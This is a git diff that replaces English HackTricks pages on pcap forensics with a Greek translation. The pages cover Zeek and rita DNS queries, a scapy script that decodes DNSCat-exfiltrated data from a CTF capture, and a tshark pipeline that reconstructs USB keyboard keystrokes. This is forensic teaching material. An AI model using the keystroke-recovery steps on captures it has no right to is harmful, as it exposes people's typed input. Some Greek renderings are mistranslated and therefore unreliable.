1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### Πληροφορίες DNS
|
||||
|
||||
### DNS info
|
||||
Οι πληροφορίες DNS (Domain Name System) αποτελούν σημαντικό μέρος της ανάλυσης κίνησης δικτύου. Ο DNS είναι ένα πρωτόκολλο που μετατρέπει τα ονόματα τομέων σε διευθύνσεις IP, επιτρέποντας έτσι την αναζήτηση και την πρόσβαση σε ιστοσελίδες.
|
||||
|
||||
Κατά την επιθετική ανάλυση, η εξέταση των πακέτων DNS μπορεί να παράσχει πολύτιμες πληροφορίες. Μπορείτε να εξετάσετε τα πακέτα DNS για να ανιχνεύσετε ενδείξεις κακόβουλης δραστηριότητας, όπως παραποίηση DNS, επιθέσεις DDoS ή ανεπιθύμητης αλληλογραφίας.
|
||||
|
||||
Για να εξετάσετε τα πακέτα DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το Wireshark για να αναλύσετε την κίνηση δικτύου και να εξάγετε πληροφορίες σχετικά με τα ονόματα τομέων, τις διευθύνσεις IP και τις αντίστοιχες αναζητήσεις DNS.
|
||||
|
||||
Αναλύοντας τα πακέτα DNS, μπορείτε να ανακαλύψετε πιθανές ευπάθειες στο σύστημα, να εντοπίσετε κακόβουλο λογισμικό ή να αναγνωρίσετε ανεπιθύμητες επικοινωνίες με εξωτερικούς διακομιστές.
|
||||
|
||||
Συνοψίζοντας, η εξέταση των πακέτων DNS μπορεί να παράσχει σημαντικές πληροφορίες για την ανάλυση κίνησης δικτύου και την ανίχνευση κακόβουλων δραστηριοτήτων.
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
@ -234,8 +243,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
|||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
|
||||
## Other pcap analysis tricks
|
||||
## Άλλα κόλπα ανάλυσης pcap
|
||||
|
||||
{% content-ref url="dnscat-exfiltration.md" %}
|
||||
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||
|
@ -253,20 +261,20 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή να προωθήσει την τεχνική γνώση**, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,65 +1,57 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content.
|
||||
|
||||
You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**:
|
||||
Εάν έχετε pcap με δεδομένα που **εξαφανίζονται από το DNSCat** (χωρίς κρυπτογράφηση), μπορείτε να βρείτε το εξαφανισμένο περιεχόμενο.
|
||||
|
||||
Χρειάζεστε μόνο να γνωρίζετε ότι τα **πρώτα 9 bytes** δεν είναι πραγματικά δεδομένα, αλλά σχετίζονται με την **επικοινωνία C\&C**:
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
import struct
|
||||
|
||||
f = ""
|
||||
last = ""
|
||||
for p in rdpcap('ch21.pcap'):
|
||||
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
|
||||
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
|
||||
|
||||
qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
|
||||
qry = ''.join(_.decode('hex') for _ in qry)[9:]
|
||||
if last != qry:
|
||||
print(qry)
|
||||
f += qry
|
||||
last = qry
|
||||
qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
|
||||
qry = ''.join(_.decode('hex') for _ in qry)[9:]
|
||||
if last != qry:
|
||||
print(qry)
|
||||
f += qry
|
||||
last = qry
|
||||
|
||||
#print(f)
|
||||
```
|
||||
|
||||
For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
Για περισσότερες πληροφορίες: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||
|
||||
|
||||
There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||
|
||||
Υπάρχει ένα σενάριο που λειτουργεί με Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||
```
|
||||
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,27 +1,25 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection.
|
||||
Εάν έχετε ένα pcap από μια σύνδεση USB με πολλές διακοπές, πιθανότατα πρόκειται για μια σύνδεση πληκτρολογίου USB.
|
||||
|
||||
A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
||||
Ένα φίλτρο wireshark όπως αυτό μπορεί να είναι χρήσιμο: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
||||
|
||||
It could be important to know that the data that starts with "02" is pressed using shift.
|
||||
Είναι σημαντικό να γνωρίζετε ότι τα δεδομένα που ξεκινούν με "02" πατιούνται χρησιμοποιώντας το πλήκτρο shift.
|
||||
|
||||
You can read more information and find some scripts about how to analyse this in:
|
||||
Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό στα παρακάτω:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
@ -30,16 +28,14 @@ You can read more information and find some scripts about how to analyse this in
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,34 +1,28 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
If you have a pcap containing the communication via USB of a keyboard like the following one:
|
||||
Εάν έχετε ένα pcap που περιέχει την επικοινωνία μέσω USB ενός πληκτρολογίου όπως το παρακάτω:
|
||||
|
||||
![](<../../../.gitbook/assets/image (613).png>)
|
||||
|
||||
You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication:
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) για να πάρετε το περιεχόμενο της επικοινωνίας που έγινε:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
|
||||
|
||||
|
||||
You can read more information and find some scripts about how to analyse this in:
|
||||
Μπορείτε να βρείτε περισσότερες πληροφορίες και να βρείτε μερικά scripts για το πώς να αναλύσετε αυτό στους παρακάτω συνδέσμους:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
@ -36,16 +30,14 @@ You can read more information and find some scripts about how to analyse this in
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,55 +1,51 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Check BSSIDs
|
||||
# Έλεγχος BSSIDs
|
||||
|
||||
When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_:
|
||||
Όταν λάβετε ένα αρχείο καταγραφής του οποίου η κύρια κίνηση είναι Wifi χρησιμοποιώντας το WireShark, μπορείτε να αρχίσετε να ερευνάτε όλα τα SSID της καταγραφής με το _Wireless --> WLAN Traffic_:
|
||||
|
||||
![](<../../../.gitbook/assets/image (424).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (425).png>)
|
||||
|
||||
## Brute Force
|
||||
|
||||
